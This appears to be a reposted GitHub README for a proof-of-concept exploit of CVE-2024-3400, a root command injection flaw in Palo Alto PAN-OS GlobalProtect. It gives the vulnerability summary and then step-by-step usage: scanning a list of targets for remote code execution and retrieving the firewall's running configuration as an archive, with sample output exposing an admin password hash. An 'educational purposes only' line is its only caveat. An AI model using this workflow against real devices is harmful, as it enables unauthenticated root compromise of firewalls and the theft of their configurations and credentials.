CVE-2024-3400 PoC — PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect

Source

https://github.com/andrelia-hacks/CVE-2024-3400

Associated Vulnerability

Title:PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect (CVE-2024-3400)
Description:A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.

Readme

# CVE-2024-3400 PoC

for educational purposes only. only use on servers you have permission to test.

## How-To-Use

deps:

```bash
$ pip install rich
```

scan `targets.txt`：

```bash
$ python run.py -f targets.txt -t 10
[-] Sending 102 requests...
[+] Requests sent. Writing check file...
[-] Polling 36...
[-] Checking https://[hostname]/global-protect/portal/js/jquery.ir2qgg4yi5.js...
[-] Checking https://[hostname]/global-protect/portal/js/jquery.xaxdtscd5r.js...
...
[-] Checking https://[hostname]/global-protect/portal/js/jquery.wtn5jvi7y1.js...
[+] Detected RCE: https://[hostname]/global-protect/portal/js/jquery.axfqashdsy.js
[-] Checking https://[hostname]/global-protect/portal/js/jquery.nibf1hcuf8.js...
[-] Sleeping...
```

note that this will retry for up to an hour. probably more than we need, but that's ok.

get configs:

```bash
$ python get_data.py 
Getting https://[hostname]/global-protect/portal/js/jquery.h2lcipjuz7.js...
Getting https://[hostname]/global-protect/portal/js/jquery.68395vb2u8.js...
Getting https://[hostname]/global-protect/portal/js/jquery.ig3sug78m1.js...
...
Getting https://[hostname]/global-protect/portal/js/jquery.w6ty44a6yr.js...
$ mv jquery.w6ty44a6yr.js [hostname].tar.gz
$ tar -xf [hostname].tar.gz
$ cat opt/pancfg/mgmt/saved-configs/running-config.xml
<?xml version="1.0"?>
<config version="11.0.0" urldb="paloaltonetworks" detail-version="11.0.2">
  <mgt-config>
    <users>
      <entry name="admin">
        <phash>$5$jwgqcoyx$9...
...
```

### Reference

https://github.com/W01fh4cker/CVE-2024-3400-RCE-Scan

https://github.com/h4x0r-dz/CVE-2024-3400

https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

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